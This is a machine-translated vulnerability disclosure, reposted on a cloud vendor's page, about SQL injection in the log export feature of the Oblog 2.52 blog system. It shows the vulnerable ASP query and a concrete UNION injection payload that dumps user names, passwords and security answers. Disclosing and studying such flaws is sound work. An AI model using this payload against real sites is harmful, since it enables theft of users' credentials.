Oblog 2.52 latest log export vulnerability

Source: Internet
Author: User
Tags sql injection
Oblog 2.52 latest log export vulnerability
Author: ciqinqiang
Http: // blog.111cn.net/cqq

Yesterday, I downloaded the latest blog system from the oblog official website. The version is 2.52.
I saw a friend on qq discussing the idea of intrusion into the help. asp file,
The article can be found here,
After that, I successfully registered a user and browsed it,
It is better to have a log export function in the background,
In this way, you can avoid the problem that the blog site is closed, and the articles you have worked hard to write cannot be saved.
The csdn blog does not have the log export function, so I also specially wrote a small program,
See here:
However, the asp file for log export has the SQL injection vulnerability,
I used to export my own articles,
In this way, any data in the database can be exported at will,
Directly endangering the security of the entire blog system.

The main SQL code is as follows:
Sdate = request ("selecty") & "-" & request ("selectm") & "-" & request ("selectd ")
Edate = request ("selectey") & "-" & request ("selectem") & "-" & request ("selected ")
SQL = "select topic, addtime, logtext from blog where username = '" & username & "' and addtime <= #" & edate & "# and
Addtime >=# "& sdate &"#"
As you can see, all client data is directly used without being checked,
Naturally there will be problems,
No matter what the situation is, the client data cannot be easily believed.

Then, we construct such an input.
"Selectd = 22 # and 1 = 2 union select username, answer, userlevel from [user] union select topic, addtime, logtext from blog
Where addtime <= #1900-1-1"
The entire SQL statement is changed:
Select topic, addtime, logtext from blog where username = 'ciqinqiqiang 'and addtime <= #2007-2-22 # and addtime> = #2000-2-22 # and
1 = 2
Union select username, answer, userlevel from [user]
Union select topic, addtime, logtext from blog where addtime <= #1900-1-1 #

In this way, you can output all user names, user passwords, and prompt answers and user levels.
Of course, you can also get anything in the database, as long as you change the SQL statement properly.

Related Article

E-Commerce Solutions

Leverage the same tools powering the Alibaba Ecosystem

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.